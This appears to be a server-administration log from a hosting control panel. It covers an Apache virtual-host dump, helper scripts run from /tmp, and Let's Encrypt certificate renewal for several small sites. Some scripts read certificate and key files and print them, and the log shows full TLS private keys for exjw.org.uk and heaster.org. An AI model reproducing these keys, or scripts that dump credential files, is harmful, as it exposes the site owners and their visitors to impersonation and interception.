                 alias www.r-b-c.org
         port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
                 alias www.realchrist.info
         port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
                 alias www.vards.info
*:443                  is a NameVirtualHost
         default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
                 alias www.baptizo.info
         port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
                 alias www.bible-basics.info
         port 443 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:24)
         port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
                 alias www.biblebasicsonline.com
         port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
                 alias www.carelinks-uk.org
         port 443 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:19)
         port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
                 alias www.carelinks.org.uk
         port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
                 alias www.carelinksaustralia.info
         port 443 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:23)
                 alias www.carelinksoutreach.info
         port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:19)
         port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
                 alias www.christadelphianfraternal.info
         port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
                 alias www.croydonchurch.info
         port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
                 alias www.dalmenynaroomabushwalkers.info
         port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:22)
         port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
                 alias www.freebible.info
         port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
         port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
         port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
                 alias www.maminas.info
         port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
                 alias www.osnowybiblii.info
         port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
         port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
                 alias www.r-b-c.org
         port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
                 alias www.realchrist.info
         port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
                 alias www.vards.info
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-12-27 13:55:55: 

PUT: /tmp/pkp643904

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/exjw_www_org-uk.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-27 13:55:55: 

chmod 755 /tmp/pkp643904; /tmp/pkp643904; rm /tmp/pkp643904

2025-12-27 13:55:55: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/exjw_www_org-uk.conf	1259

<VirtualHost *:80>
    ServerName	exjw.org.uk
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/exjw_www
    <Directory /var/www/exjw_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/exjw/www_access.log combined
    ErrorLog	/var/log/apache2/exjw/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	exjw.org.uk
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/7661c45fa1dc2bd7dace8763d6046428.crt
    DocumentRoot	/var/www/exjw_www
    <Directory /var/www/exjw_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/exjw/www_secure_access.log combined
    ErrorLog	/var/log/apache2/exjw/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-12-27 13:55:55: 

PUT: /tmp/pkp705149

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/7661c45fa1dc2bd7dace8763d6046428.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-27 13:55:55: 

chmod 755 /tmp/pkp705149; /tmp/pkp705149; rm /tmp/pkp705149

2025-12-27 13:55:55: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/7661c45fa1dc2bd7dace8763d6046428.crt	5352
8e:a4:5b:c1:5e:a5:0b:75:f6:c8:8e:77:fb:f1:ca:7e

-----BEGIN CERTIFICATE-----
MIIE/DCCA+SgAwIBAgISBjsKLg+NTfW/tJPxaisc5sTXMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjI3MTI1NzIyWhcNMjYwMzI3MTI1NzIxWjAWMRQwEgYDVQQD
EwtleGp3Lm9yZy51azCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBANs8
CSAEfd3NjyDaRWhoqHCmnZmlFnaKfacQaGb/KFelUMhQMWgWGzQmigFyG8e03j8n
Q3yDxi4N/Hgz/QlP6UIsPMANEZ6CAxLhxDN3/EUXZpK/TEcQzce2/14aVLVoLs65
axP/Q/auEYtnE34S7ofqOnX8PlqIcRtlBzVC/yO6IqYRHJu6+NQKYcxUwx6jKXqL
3QyBKee7lvkdRD4in60DecoQjqx74a6YhysBlGfcuYskBzI494SNFVwXkqTVsGna
/f0HW8yDC9ENz/XwagodGdAgnupjUcHR8j1Hp+9/56fer7w5ZRnUxA9ODSoRlFtW
G4mCA45AZUWxknxdtgcCAwEAAaOCAiUwggIhMA4GA1UdDwEB/wQEAwIFoDAdBgNV
HSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAdBgNVHQ4E
FgQUXlA9yPxSvjniiCfUYdLRYJa+UJ8wHwYDVR0jBBgwFoAU56ufDywzoFPTXk94
yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEz
LmkubGVuY3Iub3JnLzAWBgNVHREEDzANggtleGp3Lm9yZy51azATBgNVHSAEDDAK
MAgGBmeBDAECATAuBgNVHR8EJzAlMCOgIaAfhh1odHRwOi8vcjEzLmMubGVuY3Iu
b3JnLzg4LmNybDCCAQ4GCisGAQQB1nkCBAIEgf8EgfwA+gB3AEmcm2neHXzs/Dbe
zYdkprhbrwqHgBnRVVL76esp3fjDAAABm2AYIo4AAAQDAEgwRgIhAKvsXtgazKMQ
gbc2oBzCdAprdOxswqMtrBKgfkfU0j8XAiEA+xO6Jte0BMrIMgiApXuaLQrvmrvv
WaUKrw7cfEjpCC0AfwClyXiSXVdGF4KHDdiJZgtcVWSLfQBA8uwHaFHRiGkZ9wAA
AZtgGCVmAAgAAAUALPx7vAQDAEgwRgIhALriMdJVsffjNALQxEptmu1SkUj7714x
kGGIOZzvEtuUAiEAqn4+Si0k2dXiSN+PNholXYH/4kzGgsY60jRXGmjOk1swDQYJ
KoZIhvcNAQELBQADggEBAApyuz1PHVOFJkMtq/nUf5qbXS5n9tOpaVImFSebCcCU
ksyx/0eii4Sdpl4WU2/XUvvPO5ccXvJnn61D3WxD1Ks1sp7RMTem3hVfPJ5exGNt
1z74OuWuRr8Y0N+50yw2pU6sAAdSH8rx8CU6O8qW8luZkA3ojxh1QGm/IwmhRoBo
BMxG950THL3wrVsdoimQw4TBYTnuQZ0oNiLyErwM9fNSCizqmnXBP0HtZqeDBdK8
KlsGKtOiLuFr4ycI6sCz8a3V15TGPFRI+BOIXV9afTr8jK9Uqr3JPeKYo/BuNyC8
X6FtyISbttRc89zOM9WIPJyLnECk/HtXswtFKLvj7Cw=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDbPAkgBH3dzY8g
2kVoaKhwpp2ZpRZ2in2nEGhm/yhXpVDIUDFoFhs0JooBchvHtN4/J0N8g8YuDfx4
M/0JT+lCLDzADRGeggMS4cQzd/xFF2aSv0xHEM3Htv9eGlS1aC7OuWsT/0P2rhGL
ZxN+Eu6H6jp1/D5aiHEbZQc1Qv8juiKmERybuvjUCmHMVMMeoyl6i90MgSnnu5b5
HUQ+Ip+tA3nKEI6se+GumIcrAZRn3LmLJAcyOPeEjRVcF5Kk1bBp2v39B1vMgwvR
Dc/18GoKHRnQIJ7qY1HB0fI9R6fvf+en3q+8OWUZ1MQPTg0qEZRbVhuJggOOQGVF
sZJ8XbYHAgMBAAECggEALvMtdRjhJ6YE9+EmqhR3tiBIcgYDyIEiJawC38PXDOYP
Zcaevg615rY2KdcZEeyvB9FNx5Wk1GoUXl2r29msN4qnu+1Qj6SCKgIFdYxFjzpS
siyblkCIATQ0fh+fcnYMSCM3RkINeP+QLE13xDEjuiG0QV4ysEq2Bkrdf0+IukqV
8T5mNUbqvuNTf9YgjMJ9hUgTqgnRnEVYzvuH8VuZX2mnSM0gKbSk8tZnimgrSM+F
2IeaaRdjknIedewp5W16TRYus6ltz2o9IhcbQuj8OR18FUNLIoywh2rE/ZkQa6gn
PvMOxi01jW/8x0x+uC3Gbn20v0um4qjtYZKTBzHE8QKBgQDx0pMuMsX14hl6PvEG
hi+pIuaS8iQ5WMcIDR+FPTnKHS4zBQRN5EjrKalWgn8S6aKDejMPP5EdffhjuRf1
DBY3kYCgvubGj1/FAiWGQbtBDEsyoWQ6Lq/m46hPZnMaioBAeoPxq1G9HCfrLLyL
pwZb1CSF1sHjDEKd2PSxOFId2QKBgQDoFnH1INVYpASYxTFjDo4gdU+54FUaU575
ZtBdtnrelypH6RnhCvFzZoo0tgNEt6aZp/9qclcShLLYtM7Fms1gP0XrwWrPxjFw
bRl5ntNkA8DYTaC3SnOArlmQTO8cDjhPAKkgEN5lKmPdVJUUpIFjKyt4UDp1yvkz
MkwbzXOm3wKBgETpcS/VIDy1tfT0QtNNIf/dBkAR6Oi+t9k/hCAAFpvWPPglEdjw
mScKtEsG3ReSpNE63ZoWz0/MOiCQ+pbGXv5u5GzqefFTokMOHYto5+fdjQBcpac+
7rmpXqlh1KNXnLzDLR6NZ7mwcF/AW+qgKlu41L+fN5lwQPuie/iUyDHhAoGBAKB+
JP/mXKKXibY7ZxOhFRfNB/z57N/vw5ekSaMEdaNH1a00vPiqoJ204w3gcBItDcBk
NHRf7WaY7TR+lB6CFlPgbXHCpyJXZAji6SL5eiVHkywBQop9qbHq33SyPwefrcC0
LEBIagJ7deOwggdsWy1AxSbGFCcw3XNR7N+tC7TxAoGAE4eFRxtOhWyjzKA0Ln+L
u39sK1yyV7KfaWO+4nJ7RRgPuj5xRuYgq+rlzZe7/dCe3Z5fkvUHW9poTF+MbTFb
Uf93tvPUZLsNVlpY8NfHWnb5EfBCFLd8ewj7o6GBwHnenrnuHDsRDFHMLaAoj9L/
vUYmS16e8uAycdo5IgqJies=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2025-12-28 06:00:01: Establishing a connection
2025-12-28 06:00:02: Establishing a connection
2025-12-28 06:00:02: 

PUT: /tmp/pkp275716

#!/bin/bash
if [ -d "/var/www/heaster_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-12-28 06:00:08: 

chmod 755 /tmp/pkp275716; /tmp/pkp275716; rm /tmp/pkp275716

2025-12-28 06:00:08: 


1


2025-12-28 06:00:10: Establishing a connection
2025-12-28 06:00:10: 

PUT: /tmp/pkp815676

#!/bin/bash
mkdir -p "/var/www/heaster_www/.well-known/acme-challenge/"
cd "/var/www/heaster_www/.well-known/acme-challenge/"
cat > BWJMj7kXI3dJt-SlCGxbZUr56JPhLjXAotwe-QU2bvg <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
BWJMj7kXI3dJt-SlCGxbZUr56JPhLjXAotwe-QU2bvg.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 BWJMj7kXI3dJt-SlCGxbZUr56JPhLjXAotwe-QU2bvg
cat > EZoVJHGVOo3dZKdDnWv8s5YLBfeLtigZeuHptoG_lkg <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
EZoVJHGVOo3dZKdDnWv8s5YLBfeLtigZeuHptoG_lkg.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 EZoVJHGVOo3dZKdDnWv8s5YLBfeLtigZeuHptoG_lkg


2025-12-28 06:00:10: 

chmod 755 /tmp/pkp815676; /tmp/pkp815676; rm /tmp/pkp815676

2025-12-28 06:00:10: 




2025-12-28 06:00:18: Establishing a connection
2025-12-28 06:00:18: 

PUT: /tmp/pkp830953

#!/bin/bash
mkdir -p "/var/www/heaster_www/.well-known/acme-challenge/"
cd "/var/www/heaster_www/.well-known/acme-challenge/"
rm BWJMj7kXI3dJt-SlCGxbZUr56JPhLjXAotwe-QU2bvg
rm EZoVJHGVOo3dZKdDnWv8s5YLBfeLtigZeuHptoG_lkg


2025-12-28 06:00:18: 

chmod 755 /tmp/pkp830953; /tmp/pkp830953; rm /tmp/pkp830953

2025-12-28 06:00:18: 




2025-12-28 06:00:18: Establishing a connection
2025-12-28 06:00:19: 

PUT: /tmp/pkp650281

#!/bin/bash
temp_file=$(mktemp)
TARGET=d76ac506d6f13662e06babf635b43fda.crt

cat > $temp_file <<'endmsg'
d6:4a:3c:12:18:d4:48:f9:af:4c:e3:6e:dd:2b:5d:c7

-----BEGIN CERTIFICATE-----
MIIFAzCCA+ugAwIBAgISBcDLmx4PB+5LK1bqxufcXZPAMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMjI4MDUwMTQ4WhcNMjYwMzI4MDUwMTQ3WjAWMRQwEgYDVQQD
EwtoZWFzdGVyLm9yZzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALVf
dCmsk7CrJ4sBBgszBgpENVOa3kBmYU0Pu/LkdzQXxPu45EM7P6rAt/kgp6eN8+RM
orHodJozP/+3RqyVbXyS+XNshsfPfkGU4XTMwR46EhpbmpYKamyJCUVbauGr9+Zd
WM8S+KulipVILgAqY3NajzaPerH5NN9Rn7778b+vnHQzyRreke1ouV7Vp/IcV4SW
w2vNq0y1nz9NCaR2T6z31q5rhEzOFd3rxP74AxphFfR/cd/L90jbdpBE/ZDMhfEw
rBjODOojJiagQ6dQ+jdWKG6mm4AtLc48OCj1wo+SEVmCtX57Cmc1u/UDD5Zh/z58
LnIvHSJueDafF97gMVkCAwEAAaOCAiwwggIoMA4GA1UdDwEB/wQEAwIFoDAdBgNV
HSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAdBgNVHQ4E
FgQUYr/nUdLudQGuYWcas7YSQCbAhuwwHwYDVR0jBBgwFoAUALUp8i2ObzHom0yt
eD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEy
LmkubGVuY3Iub3JnLzAnBgNVHREEIDAeggtoZWFzdGVyLm9yZ4IPd3d3LmhlYXN0
ZXIub3JnMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0
dHA6Ly9yMTIuYy5sZW5jci5vcmcvNjUuY3JsMIIBBAYKKwYBBAHWeQIEAgSB9QSB
8gDwAHUADleUvPOuqT4zGyyZB7P3kN+bwj1xMiXdIaklrGHFTiEAAAGbY4sVlQAA
BAMARjBEAiB2bTq6CpmyoAWvkUxyEpMJLqxPUC7xfV6j6fuFmvWZ6AIgK6Y7ZI5Z
JFSbyLktxLE5e3gkHNP8mSvz4D1q//Zv/3wAdwDRbqmlaAd+ZjWgPzel3bwDpTxB
EhTUiBj16TGzI8uVBAAAAZtjixZ6AAAEAwBIMEYCIQChqC5CBtS72F9BpCcgTHHg
5mcWImBPypqOKgbCA01aqgIhANidjmI4mzbNwAyhiOuRxQzUIcGtF0XcpBHZPq7O
vz5CMA0GCSqGSIb3DQEBCwUAA4IBAQCRpUWvd6nMoujy41EJU22y5kZtoa/ekKox
y3yk+m5tUgaHAxp8SryPD1Aowrez6wC03FbeYAVts0dJLvNuZyLqx2TTn7zxj8iR
oioUulLsvrlDPb7d/dGu17RQBbfiAxd+0NK3JnIjxvONhtLLDjFs2JPK/JB9jj9i
0YDOewBHCRwd5CS5Ew4LRV7P49Oj9iExw6dFK9m6FYaNFfNzfFVO8gik+cray6ZL
9PYd7N3DdKm3Lij1jTnOZ0L+WN4YiSAyBfG3qk/JrzGput16Lo858iZ4cWsokW8h
Z3bXBFzsp7kXFAMiJjW6SQsAC8aa3/AMr4nRH+DSoxxK+y5E/vk4
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQC1X3QprJOwqyeL
AQYLMwYKRDVTmt5AZmFND7vy5Hc0F8T7uORDOz+qwLf5IKenjfPkTKKx6HSaMz//
t0aslW18kvlzbIbHz35BlOF0zMEeOhIaW5qWCmpsiQlFW2rhq/fmXVjPEvirpYqV
SC4AKmNzWo82j3qx+TTfUZ+++/G/r5x0M8ka3pHtaLle1afyHFeElsNrzatMtZ8/
TQmkdk+s99aua4RMzhXd68T++AMaYRX0f3Hfy/dI23aQRP2QzIXxMKwYzgzqIyYm
oEOnUPo3VihuppuALS3OPDgo9cKPkhFZgrV+ewpnNbv1Aw+WYf8+fC5yLx0ibng2
nxfe4DFZAgMBAAECggEAE2b0a3/bZb8NchyIK7sH1qHQzZKH235IQuDfw35GtTMk
vqPbAUktiKPomlUwsicok7/R+LOsA5HfcwjFXfF3PqgPWNZffbD36eaWDrNXplbi
eGDbwti25UjsjbeXkbAeiw1p0m8OXHhPQKRxzVE7hcvGfbjwEGlfC1O1Qc48YHun
4bpUOUs1SQlPBUQ+/OxrK7lu9ImS+OQS6okWFYrnb6Z2W8mhbPBjZKhGZslbc+NY
s8+RvUmZ+IVc+mByR4g+lLcjNEtsUHDz+53KyssSole4ThfYuH+C7QWfZVnQ1m8l
m0AoqtehyK3/mA1xz2bpOIe6mtOmF/gpZHF+1FONwQKBgQDeqCpxcEniTeYligme
3GuxXwlv4quW/tsizxAGhCrkWCoETarB0H04Kt4A0LqRofdag1kZU8ka1nNBlSoi
Ty7Jsd2uhlGGQIoF0H3R9Hv2K2UM9ImBlEB540lmQXhmU6a2+rD8zvn33DaPrWuR
/1cxRBviVIgQ+3u0bCJIfo1w+QKBgQDQiJzBtiidr2QMbfgb/lUvCZrZQ9zILhVb
GuSKT3a31ov3Tdj4ge2DjOz0g/yjVQ4jpqvfHs8G+5nuiLR/jH1xSGY/BPLCPgOg
SKHQIh4YRSYA6Oej9I1Rf6DM4mWurTVzRxC/+r4FZSpqWEJ14bntgIa5jODO/A+S
Q2AuYvc7YQKBgDGO5puHLbrEMfSrC8cjMokxKQ2ROzYJlcbipaN9qXpXsUpx6w7m
k+h7ihxOWShvD3pDAALmJj3l+5NeWxl13GkiQMBGv0CNfusaY9bmfuzk7cH7b9u6
nrtCfqTW77B+7/2MQPaULwkfJ7nFFMtTNRoPGdG/lOWKxBb9dogCOwMpAoGBAJ1v
ZhmBMuzJa5lOtNA9lYYrlDKPX3HqCMl9ZildkN1+JrGQnkwPm4eDr6lytBuDrWcR
ABU1J0u4TCCgKNVa9aG+7SKK09P+CbLK4w9Fkr70BZsOO0O277IlzvqfufDEZ+Qe
NPEblrZwCDO9an+g6UP7krsnNtpNxlvAbi7XHJxBAoGBAKXQXN0jfTgEvGM2TF88
eHIUvk9WTCemANvH366ivKbtcD8ID46YqaPrPvCqG9to59uz3c/iFD/E6KCZvxVE
Ilf13YwjCrIur9UvTH8KSDYcJue3/5iJtqw1ertsvUCDoCr5gNAwMkwDfwRmcI5q
BqoAmxHDZso6tightp61I8Ej
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
